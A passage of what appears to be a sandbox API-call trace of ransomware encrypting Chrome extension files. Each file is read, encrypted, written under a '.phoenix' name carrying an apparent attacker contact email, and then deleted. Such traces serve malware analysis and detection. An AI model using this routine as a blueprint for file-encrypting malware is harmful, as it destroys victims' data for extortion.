	[0263.232] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.232] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.232] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0263.233] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.233] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2d0, lpOverlapped=0x0) returned 1
	[0263.245] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2e0) returned 1
	[0263.245] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2e0, lpOverlapped=0x0) returned 1
	[0263.246] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151180) returned 1
	[0263.246] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.246] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.246] CryptDestroyKey (hKey=0x151180) returned 1
	[0263.246] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.246] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.246] CloseHandle (hObject=0x2c4) returned 1
	[0263.246] CloseHandle (hObject=0x2c0) returned 1
	[0263.246] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\vi\\messages.json")) returned 1
	[0263.247] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.247] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.247] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=640) returned 1
	[0263.247] CloseHandle (hObject=0x2c0) returned 1
	[0263.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0263.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.248] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.248] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.248] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.248] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0263.248] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.248] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x280, lpOverlapped=0x0) returned 1
	[0263.250] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290, dwBufLen=0x290 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290) returned 1
	[0263.250] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x290, lpOverlapped=0x0) returned 1
	[0263.250] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.251] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.251] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.251] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.251] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.251] CryptDestroyKey (hKey=0x151200) returned 1
	[0263.251] CloseHandle (hObject=0x2c0) returned 1
	[0263.251] CloseHandle (hObject=0x2c4) returned 1
	[0263.251] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0263.252] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.252] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.252] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=7780) returned 1
	[0263.252] CloseHandle (hObject=0x2c4) returned 1
	[0263.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json")) returned 0x20
	[0263.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.252] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.252] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.253] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.253] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.259] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0263.259] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.259] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1e64, lpOverlapped=0x0) returned 1
	[0263.310] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e70, dwBufLen=0x1e70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1e70) returned 1
	[0263.310] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1e70, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1e70, lpOverlapped=0x0) returned 1
	[0263.311] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0263.311] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.311] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0263.311] CryptDestroyKey (hKey=0x151600) returned 1
	[0263.311] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0263.311] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0263.311] CloseHandle (hObject=0x2c4) returned 1
	[0263.311] CloseHandle (hObject=0x2c0) returned 1
	[0263.311] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_metadata\\verified_contents.json")) returned 1
	[0263.312] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.312] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.314] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=312) returned 1
	[0263.314] CloseHandle (hObject=0x2c0) returned 1
	[0263.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json")) returned 0x20
	[0263.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.314] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.315] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.315] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.315] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.315] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0263.315] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.315] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x138, lpOverlapped=0x0) returned 1
	[0263.316] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x140, dwBufLen=0x140 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x140) returned 1
	[0263.316] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x140, lpOverlapped=0x0) returned 1
	[0263.317] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0263.317] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.317] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.317] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.318] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.320] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.320] CloseHandle (hObject=0x2c0) returned 1
	[0263.320] CloseHandle (hObject=0x2c4) returned 1
	[0263.320] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ar\\messages.json")) returned 1
	[0263.321] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.321] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.322] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=292) returned 1
	[0263.322] CloseHandle (hObject=0x2c4) returned 1
	[0263.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json")) returned 0x20
	[0263.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.322] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.322] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.322] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.323] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\bg\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.323] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151340) returned 1
	[0263.323] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.323] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x124, lpOverlapped=0x0) returned 1
	[0263.324] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130, dwBufLen=0x130 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130) returned 1
	[0263.324] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x130, lpOverlapped=0x0) returned 1
	[0263.325] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0263.325] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.325] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.325] CryptDestroyKey (hKey=0x151540) returned 1
